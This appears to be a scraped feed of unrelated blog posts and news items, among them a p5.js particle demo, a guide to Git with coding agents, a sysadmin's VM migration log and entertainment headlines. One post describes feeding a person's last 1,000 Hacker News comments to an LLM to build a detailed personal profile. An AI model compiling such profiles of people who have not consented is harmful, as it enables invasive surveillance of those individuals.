It’s just a basic flow field simulation with particles tracing their paths along the space. I used the p5.js framework. It reacts to mouse movements!

I did a few optimisations to make it smoother, but in the end I had to lower the framerate and tried to make the low frame rate look intentional. Optimisation was important especially for mobile devices.

Some of the optimisations include:

• Using sprites / textures instead of the vector / shape drawing APIs. This was the biggest speedup. This meant I had to predraw the particle (a small dot) on a transparent texture, and use that texture at runtime instead.

• Sharing the same sprites across particles. This was also big one. I think this is called ‘instancing’.

• Having more particles per particle. The actual sprite is a big transparent square that contains many dots. This ‘dot spray’ sprite is stamped for each actual simulated particle. This means we can reduce the amount of simulated particles, or CPU workload, without sacrificing apparent particle density. To hide the effect, the stamped square can be resized dynamically based on the speed variance.

• Using multiple sprites per state. For example, a sprite for each level of opacity. I’m not really sure about this but p5 or something seemed to slow down when having dynamic alpha per particle as opposed to pre-rendered alphas. Maybe something to do with premultiplied alpha?

• Dynamically adjust the amount of simulated particles based on runtime performance. As the simulated particles decrease, the amount of stamped dots per particle increase to compensate. There is a target apparent dot density regardless of performance.

I think moving the whole particle simulation to the GPU would be the real move, but I didn’t want to bother with shaders and WebGL device compatibility for the moment. Maybe later as a learning project. Or maybe I’ll just port this to PixiJS.

The flow field is generated by Perlin noise, and particles are accelerated according to the field, with the usual position, velocity, and friction dampening basic physics simulation.

This is now part of my home page intro section’s selection of visualizations.

Profiling Hacker News users based on their comments

Here's a mildly dystopian prompt I've been experimenting with recently: "Profile this user", accompanied by a copy of their last 1,000 comments on Hacker News.

Obtaining those comments is easy. The Algolia Hacker News API supports listing comments sorted by date that have a specific tag, and the author of a comment is tagged there as author_username. Here's a JSON feed of my ( simonw) most recent comments, for example:

https://hn.algolia.com/api/v1/search_by_date?tags=comment,author_simonw&hitsPerPage=1000

The Algolia API is served with open CORS headers, which means you can access the API from JavaScript running on any web page.

Last August I had ChatGPT build me a simple tool for hitting that API for any user which fetches their comments and gives me a mobile-friendly "copy to clipboard" button. I've since tweaked it a few times with Claude.

I can then paste the whole lot into any LLM - these days I mostly use Claude Opus 4.6 for this - and prompt "profile this user" to see what it can figure out.

It's startlingly effective! It feels invasive to quote the profile of another user here, so I'll show you what it produces for me:

This is Simon Willison — a prolific, independent software developer, blogger, and one of the most visible voices in the AI-assisted coding space. Here's a profile drawn from his comments:

Professional identity: Independent developer and writer. Co-creator of Django, creator of Datasette and many other open source tools. On the board of the Python Software Foundation. Runs a heavily-trafficked personal blog at simonwillison.net with multiple content types (entries, link blog, notes, quotations). Monetizes through GitHub sponsors, ethical ads, and occasional consulting — not through any AI company payroll, a point he defends frequently.

Core thesis on AI coding: He's the leading evangelist for what he calls "agentic engineering" — using coding agents (Claude Code, Codex CLI) as productivity multipliers for skilled developers. His central argument: LLMs don't replace programmers, they amplify existing expertise. He's writing a guide/book on this at simonwillison.net/guides. He insists these tools are deceptively difficult to use well, and that most people who report bad results simply haven't learned the craft yet.

Working style: He does most of his programming from his iPhone via Claude Code for web, often while riding BART, walking the dog, or sitting in the garden. He embraces "YOLO mode" (auto-approving agent actions) and frequently runs 2-3 agent sessions in parallel. He starts every session with "run uv run pytest" to anchor the agent in TDD. He's on the $200/month Claude Max plan.

Key technical interests: Sandboxing and security (WebAssembly, Pyodide, sandbox-exec, Firecracker), SQLite (deeply), Python packaging and tooling (uv, PyPI distribution tricks), browser-in-a-browser experiments (v86, WASM Linux), and local LLM inference. He's been learning Go "by osmosis" through coding agents.

Security consciousness: He coined the term "prompt injection" and the "lethal trifecta" (access to private data + exposure to untrusted input + ability to take actions). He's genuinely alarmed about OpenClaw/Clawdbot security risks and has been predicting a headline-grabbing prompt injection attack "in the next six months" for over two years — acknowledging it keeps not happening while insisting the risk is real. He references the "normalization of deviance" pattern frequently.

Personality and debate style: Energetic, combative when challenged, but generally good-natured. He engages heavily in HN comment threads — sometimes dozens of replies in a single discussion. He's transparent about his biases and maintains a public disclosures page. He pushes back hard against what he sees as motivated reasoning from AI skeptics, but also against AGI hype ("I refer to that as the science fiction version of AI"). He gets visibly frustrated by sock-puppet accounts and bad-faith criticism. He has a self-deprecating streak ("my stupid pelican benchmark").

Recurring themes across hundreds of comments:

• "Two things can be true at the same time" — he holds nuanced positions
• Tests are for productivity, not just quality
• The November 2025 model releases (Opus 4.5, GPT-5.2) were a genuine inflection point
• Code review is the biggest bottleneck in agent-assisted workflows
• "Cognitive debt" is a real and unsolved problem
• The best engineering practices (tests, docs, CI/CD, clean code) also make agents work better
• He's deliberately trying to "teach people good software engineering while tricking them into thinking the book is about AI"

Personal interests mentioned: Niche museums (runs niche-museums.com), New Zealand kākāpō parrots, cooking food from countries he's never visited, chickens in his garden. Lives in Half Moon Bay, CA near a major pelican roost. The pelican-on-a-bicycle SVG test is his signature LLM benchmark.

In a sentence: A deeply experienced, independently-minded developer who's genuinely excited about AI coding tools, fights hard against both uncritical hype and reflexive dismissal, and is trying to professionalize how the industry uses these tools — while also worrying loudly about the security implications almost nobody else takes seriously enough.

This all checks out! I ran this in Claude incognito mode to hopefully prevent Claude from guessing that I was evaluating myself and sycophantically glazing me - the tone of the response it gave here is similar to the tone I've seen against other accounts.

I expect it guessed my real name due to my habit of linking to my own writing from some of my comments, which provides plenty of simonwillison.net URLs for it to associate with my public persona. I haven't seen it take a guess at a real name for any of the other profiles I've generated.

It's a little creepy to be able to derive this much information about someone so easily, even when they've shared that freely in a public (and API-available) place.

I mainly use this to check that I'm not getting embroiled in an extensive argument with someone who has a history of arguing in bad faith. Thankfully that's rarely the case - Hacker News continues to be a responsibly moderated online space.

Tags: hacker-news, ai, generative-ai, llms, ai-ethics

We Have Opened Pandora's Box

A recording from Mike Brock's live video

‘Saturday Night Live UK’ Opens With Keir Starmer Turning Down Donald Trump Before Tina Fey Welcomes Nicola Coughlan & Michael Cera

Keeping in tradition with its American progenitor, the first ever Saturday Night Live UK began with a political send-up cold open. A sketch featuring a cowering Keir Starmer played by cast member George Fouracres saw the British Prime Minister trying to avoid a call from President Donald Trump. “Oh, golly! Wh-what if Donald shouts at […]

‘Harry Potter’ Series Star Paapa Essiedu Says He’s Faced Death Threats Over Casting As Snape

Incoming Snape actor Paapa Essiedu has faced a number of racist death threats since he joined the blockbuster series adaptation of Harry Potter. “I’ve been told, ‘Quit or I’ll murder you,’” he recalled of the targeted vitriol in a new interview with The Times U.K. Taking up the wand from the late Alan Rickman as […]

Minecraft World Headed To London’s Chessington World In 2027

Minecraft fans are in for some crafting of their own as the block-filled world of the video game makes its way to the real world. London’s Chessington World of Adventures will soon host the first Minecraft World theme park, opening in 2027, featuring the first ever Minecraft coaster, epic block built playscapes and themed retail […]

Using Git with coding agents

Agentic Engineering Patterns >

Git is a key tool for working with coding agents. Keeping code in version control lets us record how that code changes over time and investigate and reverse any mistakes. All of the coding agents are fluent in using Git's features, both basic and advanced.

This fluency means we can be more ambitious about how we use Git ourselves. We don't need to memorize how to do things with Git, but staying aware of what's possible means we can take advantage of the full suite of Git's abilities.

Git essentials

Each Git project lives in a repository - a folder on disk that can track changes made to the files within it. Those changes are recorded in commits - timestamped bundles of changes to one or more files accompanied by a commit message describing those changes and an author recording who made them.

Git supports branches, which allow you to construct and experiment with new changes independently of each other. Branches can then be merged back into your main branch (using various methods) once they are deemed ready.

Git repositories can be cloned onto a new machine, and that clone includes both the current files and the full history of changes to them. This means developers - or coding agents - can browse and explore that history without any extra network traffic, making history diving effectively free.

Git repositories can live just on your own machine, but Git is designed to support collaboration and backups by publishing them to a remote, which can be public or private. GitHub is the most popular place for these remotes but Git is open source software that enables hosting these remotes on any machine or service that supports the Git protocol.

Core concepts and prompts

Coding agents all have a deep understanding of Git jargon. The following prompts should work with any of them:

To turn the folder the agent is working in into a Git repository - the agent will probably run the git init command. If you just say "repo" agents will assume you mean a Git repository.

Create a new Git commit to record the changes the agent has made - usually with the git commit -m "commit message" command.

This should configure your repository for GitHub. You'll need to create a new repo first using github.com/new, and configure your machine to talk to GitHub.

Or "recent changes" or "last three commits".

This is a great way to start a fresh coding agents session. Telling the agent to look at recent changes causes it to run git log, which can instantly load its context with details of what you have been working on recently - both the modified code and the commit messages that describe it.

Seeding the session in this way means you can start talking about that code - suggest additional fixes, ask questions about how it works, or propose the next change that builds on what came before.

Run this on your main branch to fetch other contributions from the remote repository, or run it in a branch to integrate the latest changes on main.

There are multiple ways to merge changes, including merge, rebase, squash or fast-forward. If you can't remember the details of these that's fine:

Agents are great at explaining the pros and cons of different merging strategies, and everything in git can always be undone so there's minimal risk in trying new things.

I use this universal prompt surprisingly often! Here's a recent example where it fixed a cherry-pick for me that failed with a merge conflict.

There are plenty of ways you can get into a mess with Git, often through pulls or rebase commands that end in a merge conflict, or just through adding the wrong things to Git's staging environment.

Unpicking those used to be the most difficult and time consuming parts of working with Git. No more! Coding agents can navigate the most Byzantine of merge conflicts, reasoning through the intent of the new code and figuring out what to keep and how to combine conflicting changes. If your code has automated tests (and it should) the agent can ensure those pass before finalizing that merge.

If you lose code that you are working on that's previously been committed (or saved with git stash) your agent can probably find it for you.

Git has a mechanism called the reflog which can often capture details of code that hasn't been committed to a permanent branch. Agents can search that, and search other branches too.

Just tell them what to find and watch them dive in.

Git bisect is one of the most powerful debugging tools in Git's arsenal, but it has a relatively steep learning curve that often deters developers from using it.

When you run a bisect operation you provide Git with some kind of test condition and a start and ending commit range. Git then runs a binary search to identify the earliest commit for which your test condition fails.

This can efficiently answer the question "what first caused this bug". The only downside is the need to express the test for the bug in a format that Git bisect can execute.

Coding agents can handle this boilerplate for you. This upgrades Git bisect from an occasional use tool to one you can deploy any time you are curious about the historic behavior of your software.

Rewriting history

Let's get into the fun advanced stuff.

The commit history of a Git repository is not fixed. The data is just files on disk after all (tucked away in a hidden .git/ directory), and Git itself provides tools that can be used to modify that history.

Don't think of the Git history as a permanent record of what actually happened - instead consider it to be a deliberately authored story that describes the progression of the software project.

This story is a tool to aid future development. Permanently recording mistakes and cancelled directions can sometimes be useful, but repository authors can make editorial decisions about what to keep and how best to capture that history.

Coding agents are really good at using Git's advanced history rewriting features.

Undo or rewrite commits

It's common to commit code and then regret it - realize that it includes a file you didn't mean to include, for example. The git recipe for this is git reset --soft HEAD~1. I've never been able to remember that, and now I don't have to!

You can also perform more finely grained surgery on commits - rewriting them to remove just a single file, for example.

Agents can rewrite commit messages and can combine multiple commits into a single unit.

I've found that frontier models usually have really good taste in commit messages. I used to insist on writing these myself but I've accepted that the quality they produce is generally good enough, and often even better than what I would have produced myself.

Building a new repository from scraps of an older one

A trick I find myself using quite often is extracting out code from a larger repository into a new one while maintaining the key history of that code.

One common example is library extraction. I may have built some classes and functions into a project and later realized they would make more sense as a standalone reusable code library.

This kind of operation used to be involved enough that most developers would create a fresh copy detached from that old commit history. We don't have to settle for that any more!

Tags: coding-agents, generative-ai, github, agentic-engineering, ai, git, llms

‘The Oligarch And The Art Dealer’ Director On Billion Dollar Story Of Intrigue, With Trump-Epstein Subplot – CPH:DOX

There’s money in potash. A lot of it. Russian oligarch Dmitry Rybolovlev earned vast sums by mining the substance, used as an agricultural fertilizer. The question for “Rybo” became what to do with all his money, and just as importantly, how to shield it from taxes. For Rybolovlev and billionaires like him, an increasingly attractive […]

AI is changing the style and substance of human writing, study finds

"Teams from Google and leading universities found that large-language models change the voice, tone and intended meaning of human authors."

Ryan Gosling Recalls Missing “Incredible” Moment Tom Cruise Crashed Set Of ‘Star Wars: Starfighter’ In A Helicopter: “It’s The One Day I’m Not There”

Tom Cruise might have swooped in on a helicopter to direct a scene of Shawn Levy’s forthcoming Star Wars: Starfighter, but star Ryan Gosling wasn’t around to witness it. During a conversation with Josh Horowitz on his Happy Sad Confused podcast, the Project Hail Mary star hilariously recalled the incident — and how he missed […]

NetNewsWire User Creates MCP Support Via AppleScript

Jelly writes on the NetNewsWire Discourse forum:

I’ve drafted a naive implementation of NNW MCP support through AppleScript. It supports listing feeds, getting/searching articles, subscribing new feeds…

I can now schedule a daily task that lets Claude summarize that day’s new articles and order them based on my previous behaviors every morning.

We love how AppleScript support is worth way more than the effort we put into it — users can keep creating cool things that we couldn’t have imagined back then.

To be clear: we didn’t do anything in NetNewsWire to support AI, LLMs, or MCP, but, since the app is scriptable, you can do all kinds of useful things with it.

Here’s the netnewswire-mcp repo on GitHub.

Democratic Backsliding Reaches Western Democracies, with U.S. Decline “Unprecedented”

"Democratic backsliding is now happening in well-established democracies. Democracy in the USA is deteriorating at unprecedented speed, and media and journalists are increasingly targeted across the world."

@Dave Winer's linkblog

War in Iran Reveals Strait of Hormuz’s Weakness as an Oil Bottleneck.

Elon Musk Found Liable For Misleading Twitter Shareholders Ahead Of $44B Acquisition

Elon Musk has been found liable by a California jury for misleading Twitter shareholders amid his $44 billion acquisition of the social media platform in 2022. On Friday, the jury in the class-action case Pampena v. Musk found that the Tesla mogul’s tweet claiming the deal was “temporarily on hold” was harmful and misleading, resulting […]

@Dave Winer's linkblog

Reminder that Mastodon supports outbound RSS.

2026-02-26 Clone a virtual machine from inside it

2026-02-26 Clone a virtual machine from inside it

I want to move my virtual machine from hoster edis.at to hoster hosting.de. I’m using Debian stable/13/Trixie. Both of these are KVM but I am just client, I don’t have access to their management tools. So how to go about it?

This page does not have an answer to the question. If you know what I’m missing, let me know.

The two servers are sibirocobombus (source) and new-home (target). My idea is that I will just copy the whole filesystem first, using rsync. Many of the SQLite databases will be borked but that doesn’t matter. I make the target system bootable and reboot. Verify that this works. This is where I’m stuck.

The plan is then to finish the migration of database-using services since all the services using SQLite databases are borked. I shut down all these services (GoToSocial, 3× Xobaque, The Lounge, possibly others) on both the source and the target system. Then copy the whole filesystem again, using rsync. This should be much faster sind almost all the other files are unchanged. Then restart the services on the target server and don’t restart them on the source server.

On the source system:

mkdir /mnt/src
mount --options ro --bind / /mnt/src

On the target system:

mkdir /mnt/target

On the source system again:

rsync -aHAXSz \
  --delete \
  --info=progress2 \
  --numeric-ids \
  --exclude={"/dev/*","/proc/*","/sys/*","/tmp/*","/run/*","/mnt/*","/media/*","/lost+found","/etc/fstab","/etc/udev/rules.d/*","/etc/network/*","/lib/modprobe.d/*"} \
  /mnt/src/ new-home:/mnt/target/

On the target system:

cd /mnt/target
for i in /dev /dev/pts /proc /sys /run; do mount --bind $i .$i; done
chroot /mnt/target
update-grub
update-initramfs -u
exit
reboot

This reboots me back into the original target system./mnt/target still exists and hasn’t replaced the whole system, which is what I had expected.

What do I need to do in order to make it happen?

mv all the files in /mnt/target into the correct place? After all, /mnt/target doesn’t contain /dev/*, /proc/*, /sys/*, /tmp/*, /run/*, /mnt/*, /media/*, /lost+found, /etc/fstab, /etc/udev/rules.d/*, /etc/network/*, /lib/modprobe.d/*. I should’t overwrite any of the directories with an empty directory in /mnt/target, however.

What am I doing.

#Administration

2026-02-26. OK, I think the first step in getting there is that I really have to start a recovery system for the target. And hosting.de provides for this! So I switch into the recovery system.

Mount the target as /mnt/target and install rsync.

mkdir mnt/target
mount /sda/sda3 /mnt/target
apt update
apt install rsync

Now I can send over stuff again. Since I’m not overwriting /boot, /initrd*, /vmlinuz* I kinda think I should just be able to reboot this system.

Actually, no. Rebooting gets me the rescue system. Strange!

Well, I can go into the rescue system again and try the following, based on Restoring from a tar Backup. Use lsblk to verify the device names.

# Restore the entire system (must boot from a rescue system)
# 1. Mount the target partition
mount /dev/sda3 /mnt
# 2. Extract the backup to the target partition
# skip, I guess
# 3. Recreate necessary directories
mkdir -p /mnt/{proc,sys,dev,run,tmp,mnt,media}
# 4. Reinstall the bootloader
mount --bind /dev /mnt/dev
mount --bind /dev/pts /mnt/dev/pts
mount --bind /proc /mnt/proc
mount --bind /sys /mnt/sys
mount --bind /run /mnt/run
chroot /mnt
grub-install /dev/sda
update-grub
exit

I sort of think I’ve done this before? We’ll see. Also, where is initramfs-update?

root@rescue:/# grub-install /dev/sda
Installing for i386-pc platform.
Installation finished. No error reported.
root@rescue:/# update-grub
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.12.38+deb13-amd64
Found initrd image: /boot/initrd.img-6.12.38+deb13-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
Adding boot menu entry for UEFI Firmware Settings ...
done

The output looks OK. Rebooting still gets me the rescue system. Let’s try dashboard again.

Reset the system. The VNC terminal shows the hostname “sibirocobombus”! Yay.

But I cannot ping the machine. Something broke. Some networking configuration I should have copied from the rescue system, I assume.

Actually, if I use chroot /mnt I immediately lose network access. How annoying.

I made some more changes, trying to find the key difference between the two systems and eliminating it.

cp /etc/resolv.conf /mnt/etc/resolv.conf
rm /mnt/etc/systemd/network/*
rm -rf /mnt/lib/systemd/network
cp -r /lib/systemd/network /mnt/lib/systemd/network

By now, if I’m in the chroot, I have network access. I can run apt update && apt upgrade, for example. But if I boot the system, I have no network access.

With the web terminal, I’m looking at the startup screen and I see a whole lot of services failing to start up. Not a problem, I thought. Of course gotosocial is going to fail. But I also see conntrackd fails to start as well. Uh. I think I need to disable the firewall before restarting it?

2026-02-27. I’m still at a loss. I don’t see how I can make the image I have bootable on a different infrastructure. This feels very uncomfortable. My system backup is not portable at all. 😓

So what I think I will have to do is reinstall Debian stable and bring back every single service, one by one.

2026-02-28. I went into the rescue system, chroot into “my” system, started the fail2ban server and unbanned all. Rebooted into “my” system and still had the same problem. Terminal window in the web dashboard of the hosting provider shows the login prompt showing “my” hostname, but I can no longer reach it.

I guess it’s time to rebuild it, using rsync selectively. Domain by domain.

My notes are here: Paraelectrobombus.

2026-03-21. There are still some tasks left to do. Will this entire thing take more than a month? Only time will tell. 😥

Why Fraud Is The Boring Problem

Michael Smith used AI to create music, and then used AI to create bots to get the “plays” and took the smartest technology companies, including Spotify and Amazon, who should know better, for about $8 million. He is going to jail for his crimes. It is easy to dismiss this as one-and-done fraud. It is …

@Miguel de Icaza Mastondon feed

Should I do signal connection in Godot with drag and drop?

@Dave Winer's Scripting News

Andy Baio noted that it was 20 years ago today that Jack Dorsey posted his first tweet. He also noted it was the day that Ze Frank did his first YouTube video. It got me looking around my own world to see what happened on Mar 21, 2006. Nothing earth shaking but it was interesting piece written by Phil Jones on how everyone watched me all the time and they were all trying to figure out what I do. Fact: At the time I was trying to make OPML grow big like RSS had, but it didn't happen. The big concept was the World Outline that would be an open directory where everyone created browsable outlines that linked to their own outlines and others, in a completely fluid way. In order to be something it had to catch on, and it didn't. In the intervening twenty years, I tried it again and again to start a technology party like blogging and podcasting, viral viralities -- but nothing stuck. I came close once, with Twittergram, but I didn't want to run a company, I wanted to keep developing software. Sold it to Betaworks, but they never marketed it. Instead I helped them launch bit.ly and had a blast doing that. I love doing PR. Anyway I guess I got lazy. And I wasn't building on the web any longer. Instead I was trying to fit in between Twitter and Facebook mostly. Now I'm getting ready, much older and more tired, but wiser -- to go back to roots, to use WordPress as my blogging platform, as if it were Frontier -- and see what we can build out of the web and if it'll stick. That's why I'm so relentless at getting people to play with me. It's the same damn thing Phil Jones describes. And OPML is going to be a big part, yet again -- only this time playing a vastly different role, with lists of feed locations on the web. If it works we will call it the feediverse. Even if it doesn't work. ;-)

@Dave Winer's Scripting News

BTW one big advantage Claude has over ChatGPT is the brevity of its name. One syllable vs four.

@Dave Winer's linkblog

Robert Mueller, ex-FBI director at center of political tempest, dies at 81.

‘Buffy’s Charisma Carpenter Remembers Nicholas Brendon As “Warm & Loving”: “I Miss Those Days”

Following Nicholas Brendon’s death at age 54, Charisma Carpenter is paying tribute to her onscreen high school sweetheart. The Buffy the Vampire Slayer alum, who played recovering mean girl and Xander’s girlfriend Cordelia Chase in the WB series, remembered her co-star as “warm and loving” after he died on Friday. “I will miss the version […]

“BTS 2.0 Is Just Getting Started,” Group Teases During Netflix’s ‘The Comeback Live’ Concert Special: “Thank You For Waiting, Army”

With their first album in more than five years, BTS is officially back together and ready to bring new music to their Army with a global tour. During the South Korean boy band’s Netflix concert special BTS The Comeback Live | Arirang on Friday, which marked their first time performing together since going on hiatus […]

Let's Talk About Fertilizer

We don't need the Strait? Tell it to farmers

Trump Is Pushing America And The World Into A Dangerous Global Crisis

Our madman leader is doing extraordinary damage to the world, and this war must end. Now.

‘The Rookie’: Eric Winter On Tim’s Return To Patrol, Are “Ross & Rachel-Like” Tim & Lucy Headed To The Altar & Cop Drama Being Gen Z’s ‘Grey’s Anatomy’

For several years now, The Rookie fans have been enthralled by the slow-burn romance between show’s most popular couple, Tim Bradford (Eric Winter) and Lucy Chen (Melissa O’Neil), nickname Chenford. Since finally creating the air at the end of last season, the on- and off- couple has been very much on, with Lucy recently moving […]

@Dave Winer's linkblog

Paul Brainerd Dies at 78; Pioneered Desktop Publishing With PageMaker.

Mozart And Japan

Today, enjoy our audio and video picks

Sarah Michelle Gellar Pays Tribute To ‘Buffy’ Co-Star Nicholas Brendon: “I Saw You Nicky”

As Buffy fans mourn the loss of Nicholas Alexander, Sarah Michelle Gellar has paid tribute to her fellow “Scooby gang” alum. Following the actor’s death at age 54, the Golden Globe-nominated star of Buffy the Vampire Slayer reacted to the news with one of Xander’s memorable lines from the WB series. “‘They’ll never know how […]

Pete Hegseth’s Attempt to Shut Press Out of Pentagon Doesn’t Hold up In Court

The court blocked a Pentagon policy that revoked journalists’ press credentials and essentially criminalized asking questions under the guise of “national security.”

AI sign of brilliance

The text below as written by Claude. I didn't ask for it, but was blown away when I read it. It generated this copy because he needed an example post for a programming technique it was testing for me.

• There's a reason the original web worked: it was built on open formats that anyone could read, write, and extend. RSS was part of that story. So was OPML. When people ask why these formats matter, the answer is simple — because they still work, and they still let you own your own data.
• The feed reader of 2026 isn't that different from the one of 2003. Entries come in, you read them, you move on. What's changed is the ecosystem around it. Aggregators became social networks. Social networks became walled gardens. And somewhere in the shuffle, people forgot they could just… subscribe.
• The architecture of the early web had a certain elegance. Every site was a server. Every page was a document. Every link was a contract. We've gotten away from that in the pursuit of engagement metrics and algorithmic feeds, but the bones are still there. RSS is still being published by millions of sites. OPML is still the right format for sharing lists of feeds.
• The tools we build now should work with that grain, not against it. A reader that respects the format, surfaces what's new, and gets out of your way is more useful than any algorithm.

bye bye RTMP

In May 2010 we merged support for the RTMP protocol suite into curl, in our desire to support the world’s internet transfer protocols. RTMP The protocol is an example of the spirit of an earlier web: back when we still thought we would have different transfer protocols for different purposes. Before HTTP(S) truly became the … Continue reading bye bye RTMP→

Solod: Go can be a better C

A subset of Go that transpiles to regular C, with zero runtime.

Filmmaking Team Demands Egypt Release Detained Co-Star Of Cannes Hit ‘Eagles Of The Republic’

Filmmakers behind the award-winning drama-thriller Eagles of the Republic are demanding the immediate release of actor Hassan El Sayed, who is being held in Egypt on what they say are trumped up charges for participating in the film. “We stand by the principle that art must never become a pretext for punishment,” producers Linus Stöhr […]

If I were CEO of Bluesky

I've written a bunch of pieces with this premise, what if I were CEO of Apple being the first, in January 1996, before Steve Jobs returned. This time I'm writing as if I were CEO of Bluesky, a company that just got a new interim CEO, Toni Schneider, formerly of Automattic, the company behind WordPress. This started as a comment in reply to Colin Devroe on Mastodon, but quickly exceeded its 500 character limit. And no doubt I will expand on it over the course of the day.

Here's the issue. AT Proto is proposing to be a better web than the collection of standards that make up the web in 2026, starting with HTTP and HTML and DNS and including Markdown, WebSockets, MP3 and RSS and probably a few others. Maybe they can come up with something better organized and with more consistent interfaces. But the web doesn't work that way. Once it embraces a method of doing something, it goes on, and doesn't reconsider. It's exactly like evolution in the natural world.

Example: RSS was a deeply entrenched competitor when Atom came along, intending to do everything RSS did but do it differently and better. It did get some support and still does to this day, but the differences are flattened out, most feed-reading software doesn't know if the news came from RSS or Atom, the distinction is buried in low-level code.

If you were to look at the size of the developer base for the web, it would be clear how steep a hill AT Proto has to climb, and why? What's in it for Bluesky except satisfaction of ego? Not a good business proposition for a startup.

But they can't abandon the developers who made a bet on AT Proto, so they should give it to a standards body, work with them, but at the same time work on interop with products like WordPress and support inbound and outbound RSS. Markdown would be nice too. Get rid of the character limit and support links, styling, enclosures (for podcasting) and make their posts editable. In other words they have some catching up to do re the web. That's where their leadership would be welcome instead of questioned.

Colin, I don't think they should do it for you and me, they should do it as an investment in their future. Get in the game. The idea of creating something that stands alone is imho very un-web, and not differentiated from their competition. The web was made for small companies like Bluesky. Trying to act like a giant in a way even the biggest giants wouldn't work is not a formula for success. I think Toni and Matt would understand this.

‘The Testaments’ Touches Down In France – Series Mania

The ladies of Gilead were in France, Saturday, for the world premiere of Hulu’s The Testaments. Chase Infiniti swapped the red carpet of the Oscars last weekend for the purple carpet, as the series provided a splashy opening to this year’s Series Mania drama fest. Infiniti was joined by co-stars Ann Dowd and Lucy Halliday […]

@Dave Winer's linkblog

The Removal of Kingston’s Sidewalk Canopies Reveals a Time Capsule.

Talking With Robin Brooks

Trying to figure out the Hormuz shock

Lit Hub Weekly: March 16 – 20, 2026

Ibram X. Kendi explains how the Great Replacement Theory made its way from rural France to the heart of American power. | Lit Hub Politics  Considering the genius of Frances Burney, Jane Austen’s most important literary predecessor. | Lit Hub

Payment biz pulls plug on open source charity after KYC spat

Free Software Foundation Europe says it was asked for supporters' passwords; Nexi insists it only wanted test credentials to check cancellation flows

The Free Software Foundation Europe says its electronic-payments provider Nexi Group unexpectedly "cancelled" its account – cutting the charity off from around 450 donors.

Sat a Day

Time for her own Wikipedia page I just ran across Aiyana Lee. She's good. More. Bonus link. Rutilance The FCC has green-lit Nexstar's purchase of Tenga. This will move much of local TV into the red, politically. Wrote about that here and here back in September. Pull-quote: Trump and Carr want MAGA-aligned affiliates. Simple as that. Sinclair is […]

Hagai Levi On His “Contemporary” Holocaust Series ‘Etty’ & Why The International Boycott Of The Israeli Industry Should Be “Much More Selective”

The era of Holocaust period pieces is over, according to Hagai Levi, director of Scenes From a Marriage and The Affair. Levi’s new series, Etty, which is based on the diaries of Etty Hillesum, places a modern spin on a Holocaust story by setting it in a “contemporary” Amsterdam, although the show is not rooted […]

Robert Fox Dies: ‘The Crown’ EP, Judi Dench & Maggie Smith’s Go-To Broadway & West End Producer, Member Of A Stage & Screen Dynasty Was 73

Robert Fox, who rose from being a film studio runner to assisting directors at London’s Royal Court in the early 1970s to the highest echelons of theater production that saw him presenting Judi Dench, Maggie Smith, Helen Mirren and Vanessa Redgrave in new plays and classics in the West End and on Broadway, has died. […]

How Point Five Creations’ Award-Winning Feature ‘Another World’ Is Pushing Hong Kong Animation Into New Realms

The producers and distributors of Hong Kong animated feature Another World – directed by Tommy Ng and produced by Polly Yeung – discussed how the groundbreaking project came together and is breaking into international markets during Filmart, as part of the market’s focus on animation.  Seven years in the making, the 2D hand-drawn animated film […]

“He’s a Worthless Pile of Shit” | The Coffee Klatch for March 21, 2026

With Heather Lofthouse and yours truly, Robert Reich

Weeknotes: March 14-20, 2026

Win of the week: started new client project! unusually for me, it’s working with a private company, but it’s a good fit Looking forward to: reading A Bride’s Story Vol. 15 which has the storyline I have been waiting for for years! 😍 Stuff I did: This was a week full of frustrations and disappointments 😑 4.75 […]

March 20, 2026

On Wednesday, Israeli forces hit Iranian facilities in the South Pars natural gas field in the Persian Gulf, shared by Iran and Qatar.

CPH:DOX: ‘Whispers In May’ Takes Top Award; ‘Amazomania,’ ‘Dream Of Another Summer’ & More Earn Prizes

Whispers in May, Dongnan Chen’s film exploring the rite of passage of a 14-year-old girl in rural China, won the top award at CPH:DOX in Copenhagen Friday night, automatically qualifying the documentary for Oscar consideration. “Telling mythical stories about hidden worlds is a gift. Giving breadth and depth to quotidian moments is a talent,” the […]

HBO’s Comedy ‘Comeback’: Amy Gravitt On Being First To Satirize AI With Valerie Cherish’s Return, “Full Slate”, ‘Big Bang’ Spinoff & More Larry David

HBO’s The Comeback is taking the concept of long gaps between seasons to a new level, with its third season premiering Sunday, 11 1/2 years after Season 2, which, in turn, was released more than nine years after the first season. Tackling topics like AI replacing TV writers and the 2023 WGA strike, The Comeback, […]

Nicholas Brendon’s ‘Buffy the Vampire Slayer’ Co-Stars Pay Tribute To Xander Actor: “My Sweet Nicky”

As fans and loved ones mourn the death of Nicholas Brendon, his Buffy the Vampire Slayer co-stars are paying tribute. Following Brendon’s death at age 54, the cast of the WB series (1997-2003) remembered the actor who played Xander. “My Sweet Nicky, thank you for years of laughter, love and Dodgers,” wrote Alyson Hannigan, who […]

New Old Rules: White House Says Bill Maher Getting Mark Twain Prize Is “Literally Fake News”

The Trump administration insists Bill Maher will not be receiving the prestigious Mark Twain Award for American Humor. “This is fake news,” White House Press Secretary Karoline Leavitt said Friday as reports circulated that the Real Time host was going to enter the pantheon of comedy with the honor. “Bill Maher will NOT be getting […]

Nicholas Brendon Dies: ‘Buffy The Vampire Slayer’ Actor Was 54

Nicholas Brendon, known for being part of the Scooby gang on Buffy the Vampire Slayer, has died. He was 54. A former castmate confirmed the news to Deadline. Brendon’s family issued a statement saying that the actor had died on Friday, March 20, “in his sleep of natural causes.” “We are heartbroken to share the […]

Amdir, Estel, Peter Thiel

In dark times such as these, those of us who wish to see a better, more just world speak a lot of hope. The word in English, however, is badly overloaded: we mean a lot of different things when we say "hope". We can hope that it's sunny outside, hope that our business venture succeeds, hope that we recover from a serious illness or home that the world that we live in is fundamentally good or for our benefit, despite all of the pain that we see. We can hope that a long project we've been working on will pay off, even if we don't live to see it, and we can hope that people who've been behaving cruelly will somehow see the light and repent of their wicked ways. All of these are very different kinds of hope, and when we speak of hope in our current context, it's easy to get muddled and cause pain. Where one person might speak of a metaphysical kind of hope that this will all turn to the good eventually, another might read that it's the kind of hope that comes from believing that the thing is actually likely to happen and get offended because they can't see a plausible path for it to occur. And so, when we most need to be able to foster many of these different kinds of hope, we instead fall into mutual recriminations and despair.

Turbo Pascal 3.02A, deconstructed

Turbo Pascal 3.02A, deconstructed

